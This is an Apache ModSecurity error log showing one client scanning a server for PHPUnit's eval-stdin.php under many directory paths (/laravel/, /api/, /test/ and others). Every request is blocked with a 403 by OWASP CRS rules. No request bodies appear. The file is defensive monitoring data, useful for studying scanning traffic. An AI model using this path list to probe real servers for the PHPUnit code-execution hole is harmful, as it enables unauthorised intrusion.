[Mon Oct 26 02:24:04.888204 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yBMsSJ_JPXSgPpTUCIwAAAA4"]
[Mon Oct 26 02:24:04.888613 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yBMsSJ_JPXSgPpTUCIwAAAA4"]
[Mon Oct 26 02:24:05.152801 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBcsSJ_JPXSgPpTUCJAAAAA4"]
[Mon Oct 26 02:24:05.153271 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBcsSJ_JPXSgPpTUCJAAAAA4"]
[Mon Oct 26 02:24:05.153586 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBcsSJ_JPXSgPpTUCJAAAAA4"]
[Mon Oct 26 02:24:05.422400 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBcsSJ_JPXSgPpTUCJQAAAA4"]
[Mon Oct 26 02:24:05.422841 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBcsSJ_JPXSgPpTUCJQAAAA4"]
[Mon Oct 26 02:24:05.423278 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBcsSJ_JPXSgPpTUCJQAAAA4"]
[Mon Oct 26 02:24:05.695034 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBcsSJ_JPXSgPpTUCJgAAAA4"]
[Mon Oct 26 02:24:05.695520 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBcsSJ_JPXSgPpTUCJgAAAA4"]
[Mon Oct 26 02:24:05.695853 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBcsSJ_JPXSgPpTUCJgAAAA4"]
[Mon Oct 26 02:24:05.979258 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBcsSJ_JPXSgPpTUCJwAAAA4"]
[Mon Oct 26 02:24:05.979709 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBcsSJ_JPXSgPpTUCJwAAAA4"]
[Mon Oct 26 02:24:05.980082 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBcsSJ_JPXSgPpTUCJwAAAA4"]
[Mon Oct 26 02:24:06.210509 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBssSJ_JPXSgPpTUCKAAAAA4"]
[Mon Oct 26 02:24:06.211090 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBssSJ_JPXSgPpTUCKAAAAA4"]
[Mon Oct 26 02:24:06.211427 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBssSJ_JPXSgPpTUCKAAAAA4"]
[Mon Oct 26 02:24:06.436823 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBssSJ_JPXSgPpTUCKQAAAA4"]
[Mon Oct 26 02:24:06.437434 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBssSJ_JPXSgPpTUCKQAAAA4"]
[Mon Oct 26 02:24:06.437796 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBssSJ_JPXSgPpTUCKQAAAA4"]
[Mon Oct 26 02:24:06.661388 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBssSJ_JPXSgPpTUCKgAAAA4"]
[Mon Oct 26 02:24:06.661978 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBssSJ_JPXSgPpTUCKgAAAA4"]
[Mon Oct 26 02:24:06.662400 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBssSJ_JPXSgPpTUCKgAAAA4"]
[Mon Oct 26 02:24:06.886990 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBssSJ_JPXSgPpTUCKwAAAA4"]
[Mon Oct 26 02:24:06.887486 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBssSJ_JPXSgPpTUCKwAAAA4"]
[Mon Oct 26 02:24:06.887864 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBssSJ_JPXSgPpTUCKwAAAA4"]
[Mon Oct 26 02:24:07.112121 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yB8sSJ_JPXSgPpTUCLAAAAA4"]
[Mon Oct 26 02:24:07.112682 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yB8sSJ_JPXSgPpTUCLAAAAA4"]
[Mon Oct 26 02:24:07.113042 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yB8sSJ_JPXSgPpTUCLAAAAA4"]
[Mon Oct 26 02:24:07.343100 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yB8sSJ_JPXSgPpTUCLQAAAA4"]
[Mon Oct 26 02:24:07.343556 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yB8sSJ_JPXSgPpTUCLQAAAA4"]
[Mon Oct 26 02:24:07.343904 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yB8sSJ_JPXSgPpTUCLQAAAA4"]
[Mon Oct 26 02:24:07.586391 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yB8sSJ_JPXSgPpTUCLgAAAA4"]
[Mon Oct 26 02:24:07.586929 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yB8sSJ_JPXSgPpTUCLgAAAA4"]
[Mon Oct 26 02:24:07.587223 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yB8sSJ_JPXSgPpTUCLgAAAA4"]
[Mon Oct 26 02:24:07.816631 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yB8sSJ_JPXSgPpTUCLwAAAA4"]
[Mon Oct 26 02:24:07.817115 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yB8sSJ_JPXSgPpTUCLwAAAA4"]
[Mon Oct 26 02:24:07.817407 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yB8sSJ_JPXSgPpTUCLwAAAA4"]
